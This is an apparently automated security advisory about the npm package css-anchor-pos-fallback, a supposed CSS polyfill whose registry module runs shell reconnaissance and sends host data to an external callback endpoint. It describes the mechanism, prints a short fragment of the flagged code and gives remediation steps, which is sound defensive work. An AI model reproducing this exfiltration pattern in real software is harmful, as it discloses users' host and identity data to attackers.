registry / Data exfiltration / css-anchor-pos-fallback
css-anchor-pos-fallback
Polyfill for CSS anchor positioning fallback
This report shows the evidence for css-anchor-pos-fallback@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source establishes automatic reconnaissance and data exfiltration unrelated to CSS positioning functionality. The absence of install hooks limits the trigger but does not neutralize the attack when the registry module loads.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Loading thunderboltRegistry.js in an environment with the required runtime APIs.
Impact
Disclosure of host identity, user identity, network interfaces, and host configuration to the endpoint operator.
Mechanism
An immediately invoked function runs shell commands, reads host configuration, and sends collected values through HTTP query parameters.
Attack narrative
When the registry module loads, its immediately invoked function collects host information and executes reconnaissance commands. It sends their outputs, including network interface details and /etc/hosts contents, to a fixed external HTTP endpoint. Registry factory exports follow the collection code, and the bundled manifest directs registry assets to this module. The empty default entrypoint limits activation but does not make the executable payload inert.
AI rationale
Inspected source establishes automatic reconnaissance and data exfiltration unrelated to CSS positioning functionality. The absence of install hooks limits the trigger but does not neutralize the attack when the registry module loads.
Evidence
thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts
Network endpoints1
dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- thunderboltRegistry.js sends collected data and the hostname to a fixed external HTTP endpoint.
- Loading thunderboltRegistry.js immediately executes the id command and transmits its output.
- The module reads /etc/hosts through a shell command and transmits its contents.
- The module collects network interface information and transmits it.
- registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.
Evidence against
- package.json has no lifecycle scripts, and its default index.js entrypoint exports an empty object.
- Execution requires loading the registry module; shell collection requires child_process and transmission requires fetch.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
8 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-field-sizing-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = e9cbfffc3017b8e0
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-field-sizing-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
8 High1 Medium1 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to css-anchor-pos-fallback@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-anchor-pos-fallback@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.